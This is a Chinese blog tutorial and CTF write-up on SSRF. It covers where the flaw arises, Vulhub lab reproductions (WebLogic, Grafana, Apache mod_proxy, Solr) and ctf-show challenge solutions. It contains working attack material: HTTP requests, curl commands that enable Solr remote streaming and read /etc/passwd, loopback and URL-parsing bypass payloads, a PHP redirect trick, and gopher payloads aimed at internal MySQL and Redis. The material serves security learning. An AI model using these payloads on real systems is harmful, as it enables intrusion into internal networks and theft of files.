首页 > 其他分享 >ssrf漏洞整理总结

ssrf漏洞整理总结

时间:2023-02-25 19:45:23浏览次数:47  
标签:总结 0.1 http ssrf SSRF url 漏洞

SSRF漏洞整理总结

ssrf漏洞描述

SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。

常出现的地方

1.社交分享功能:获取超链接的标题等内容进行显示

2.转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览

3.在线翻译:给网址翻译对应网页的内容

4.图片加载/下载:例如富文本编辑器中的点击下载图片到本地;通过URL地址加载或下载图片

5.图片/文章收藏功能:主要其会取URL地址中title以及文本的内容作为显示以求一个好的用具体验

6.云服务厂商:它会远程执行一些命令来判断网站是否存活等,所以如果可以捕获相应的信息,就可以进行ssrf测试

7.网站采集,网站抓取的地方:一些网站会针对你输入的url进行一些信息采集工作

8.数据库内置功能:数据库的比如mongodb的copyDatabase函数

9.邮件系统:比如接收邮件服务器地址

10.编码处理, 属性信息处理,文件处理:比如ffpmg,ImageMagick,docx,pdf,xml处理器等

11.未公开的api实现以及其他扩展调用URL的功能:可以利用google 语法加上这些关键字去寻找SSRF漏洞

一些的url中的关键字:share、wap、url、link、src、source、target、u、3g、display、sourceURl、imageURL、domain……

12.从远程服务器请求资源(upload from url 如discuz!;import & expost rss feed 如web blog;使用了xml引擎对象的地方 如wordpress xmlrpc.php)

image-20220914164528633

案列演示

weblogic-ssrf漏洞

环境链接:Vulhub - Docker-Compose file for vulnerability environment

复现:漏洞参数点operator=http://127.0.0.1:7001

POST /uddiexplorer/SearchPublicRegistries.jsp HTTP/1.1
Host: 101.34.226.129:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 136
Origin: http://101.34.226.129:7001
Connection: close
Referer: http://101.34.226.129:7001/uddiexplorer/SearchPublicRegistries.jsp
Cookie: publicinquiryurls=http://www-3.ibm.com/services/uddi/inquiryapi!IBM|http://www-3.ibm.com/services/uddi/v2beta/inquiryapi!IBM V2|http://uddi.rte.microsoft.com/inquire!Microsoft|http://services.xmethods.net/glue/inquire/uddi!XMethods|; JSESSIONID=FzyNjhXHdMKBWzQ8TPSLXcr4hXJ1fhyvqgSQlcTj9BZc8K19QKJC!-739248832
Upgrade-Insecure-Requests: 1

operator=http://127.0.0.1:7001&rdoSearch=name&txtSearchname=123456&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search

当端口不存在时显示

image-20220914171959072

当端口存在时

image-20230225152119064

通过redis拿shell,Vulhub - 用于漏洞环境的 Docker-Compose 文件这篇文章有讲了

image-20230225153932266

然后发送payload等待反弹即可

image-20230225154059661

Grafana Admin Portal SSRF

漏洞环境Vulhub - 用于漏洞环境的 Docker-Compose 文件

启动漏洞环境

docker-compose up -d

image-20230225142727272

漏洞利用脚本RandomRobbieBF/grafana-ssrf:Grafana 中经过身份验证的 SSRF (github.com)

python3 grafana-ssrf.py -H http://124.223.52.83:3000 -u http://tz1r7f.dnslog.cn

image-20230225142811922

收到请求

image-20230225142849262

mod_proxy SSRF 的 Apache HTTP 服务器 2.4.48 (CVE-2021-40438)

漏洞环境Vulhub - 用于漏洞环境的 Docker-Compose 文件

启动环境

docker-compose build 

docker-compose up -d

image-20230225144054881

发送请求

image-20230225144757596

接收到了

image-20230225144818015

Apache Solr RemoteStreaming Arbitra File Reading and SSRF

环境连接Vulhub - 用于漏洞环境的 Docker-Compose 文件

docker-compose up -d

启动环境

image-20230225150008984

访问该连接以提取数据库名称

http://your-ip:8983/solr/admin/cores?indexInfo=false&wt=json

image-20230225150228521

发送以下请求,修改数据库的配置以启用:demo``RemoteStreaming

curl -i -s -k -X $'POST' \     -H $'Content-Type: application/json' --data-binary $'{\"set-property\":{\"requestDispatcher.requestParsers.enableRemoteStreaming\":true}}' \     $'http://your-ip:8983/solr/demo/config'

image-20230225150331192

然后即可读取任意文件

curl -i -s -k'http://your-ip:8983/solr/demo/debug/dump?param=ContentStreams&stream.url=file:///etc/passwd'

image-20230225150524641

ctf-show

web351

image-20220916131442186

web352

image-20220916131740434

web353

回环地址绕过

url=http://127.255.255.254/flag.php

url=http://0/flag.php

url=http://[::ffff:7f00:1]
url=http://127.1

image-20220916133520082

web354

将自己的域名解析到本地的127.0.0.1绕过

image-20230223213608972

image-20230223213627184

image-20230223213640588

web355

image-20230223213826548

host要小于5位,那么上面就有payload可以绕过了

直接http://127.1/flag.php就可以了

image-20230223214025718

web356

image-20230224094544696

现在又要host小于3位了,那么直接url=http://0/flag.php就可以绕过了

image-20230224094809153

web357

image-20230224095712641

gethostbyname — 返回主机名对应的 IPv4地址。 
filter_var — 使用特定的过滤器过滤一个变量
FILTER_FLAG_IPV4 - 要求值是合法的 IPv4 IP(比如 255.255.255.255)
FILTER_FLAG_IPV6 - 要求值是合法的 IPv6 IP(比如 2001:0db8:85a3:08d3:1319:8a2e:0370:7334)
FILTER_FLAG_NO_PRIV_RANGE - 要求值是 RFC 指定的私域 IP (比如 192.168.0.1)
FILTER_FLAG_NO_RES_RANGE - 要求值不在保留的 IP 范围内。该标志接受 IPV4 和 IPV6 值。

就是可以搞个公网地址,然后302跳转到127.0.0.1即可

<?php
header("Location:http://127.0.0.1/flag.php"); 

image-20230224163919805

web358

image-20230224164523867

要以http://ctf开头,show结尾,以http://ctf.开头的话,就加一个@127.0.0.1绕过,这样parse_url解析出来的host是127.0.0.1,再用?a=show来匹配后面的,所以payload就为url=http://[email protected]/flag.php?show

image-20230224164904451

web359

提示mysql没有密码

image-20230224172001140

image-20230224171753941

抓包发现returl可能存在ssrf,那么就是用ssrf漏洞打没有密码的mysql

image-20230224171824048

用工具生成ssrf的payload

tarunkant/Gopherus:该工具生成gopher链接,用于利用SSRF并在各种服务器中获得RCE (github.com)

image-20230224172541474

下面_后的内容发送的时候再次url编码一次

image-20230224172618858

然后再去读取下flag就出来了

image-20230224172643792

web360

提示给出打redis

image-20230224172806926

image-20230224172823797

那就直接生成打吧

image-20230224173703027

url需要再次编码一下

image-20230224173727413

然后再去读flag

image-20230224175203410

image-20230224175245181

乌云案列

腾讯某处SSRF漏洞(非常好的利用点)附利用脚本 |伍云-2016-0215419|WooYun.org (zone.ci)

小米某处SSRF漏洞(可内网SHELL 附多线程Fuzz脚本) |伍云-2016-0215779|WooYun.org (zone.ci)

360某处ssrf漏洞可探测内网信息(附内网6379探测脚本) |伍云-2016-0229611|WooYun.org (zone.ci)

华为某分站存在SSRF漏洞 | wooyun-2016-0214331| WooYun.org (zone.ci)

百度某处SSRF可漫游内网 | wooyun-2016-0214138| WooYun.org (zone.ci)

文件导出ssrf

标签:总结,0.1,http,ssrf,SSRF,url,漏洞
From: https://www.cnblogs.com/bnlbnf/p/17155180.html

相关文章

  • Vue3 + Vite +TS 项目问题总结
    最近做的几个Vue项目基本都收尾了,总结一下在项目中遇到的问题,希望能帮助遇到同样问题的小伙伴项目情况:我做的项目都是Vue3.2(setup语法)+Vite+TS,一个H5项目,一个PC前......
  • 每日总结2/25
    在今天我学习了安卓的界面的代码如下:<?xmlversion="1.0"encoding="utf-8"?><LinearLayoutxmlns:android="http://schemas.android.com/apk/res/android"andro......
  • test20230225考试总结
    前言Ihatequestionsthatalreadyexist!!我讨厌原题!!赛时得分明细:ABCDEFTotalRank10010010560443106A.P1993小K的农场题面给定长度为......
  • [专题总结]Gridea快速免费搭建个人博客
    介绍或许你很想把你所知道的问题写出来,或许你文思泉涌,想给大家分享。我相信,你一定能写好博客,只要坚持,就可以了。或许大家会不理解,为什么不用大平台的博客呢?或许你稍微了......
  • SQuirrel client UI 操作hbase 及 spark with phoenix 写hbase 遇到的一些问题总结
    1:在SQuirrel里如果创建table的时候,不指定namespace,则表是创建在default空间的,在UI上无法看到,但是在phoenixsqlline命令行可以看到,如下表LOT7  2:phoenixsql里,如果......
  • 助教工作总结
    一、助教工作的具体职责和任务 (包括:你和老师是如何配合的、你和课程其他助教是如何配合的(如果有的话))本学期作为前端开发技术助教,主要是负责:配合老师:1.帮助老师批改作业......
  • Redis笔记总结之redis介绍
    摘自:https://www.cnblogs.com/demoKing/p/8573873.html一、Redis介绍:redis的发展历史简单的理解为因为使用类似MySql这类关系型数据库不方便进而开发的开......
  • 推荐系统[八]算法实践总结V1:淘宝逛逛and阿里飞猪个性化推荐:召回算法实践总结【冷启动
    0.前言:召回排序流程策略算法简介推荐可分为以下四个流程,分别是召回、粗排、精排以及重排:召回是源头,在某种意义上决定着整个推荐的天花板;粗排是初筛,一般不会上复杂模型;......
  • 2023/2/25 考试总结
    题单:clickhereT1.P2542[AHOI2005]航线规划虽然一眼\(\mathtt{LCT}\),但没有思考(?)使用一种简陋的方式获得了\(\mathtt{50pts}\)。用树链剖分也可做。首先是逆序......
  • 计算机理论自我总结
    目录​​权衡​​​​全局/系统思维​​​​理论实践的指导、验证​​​​参考​​权衡一个方面的数据提升,可能意味着其他方面的损耗。一个好的方案/架构,应该是在全局思维考......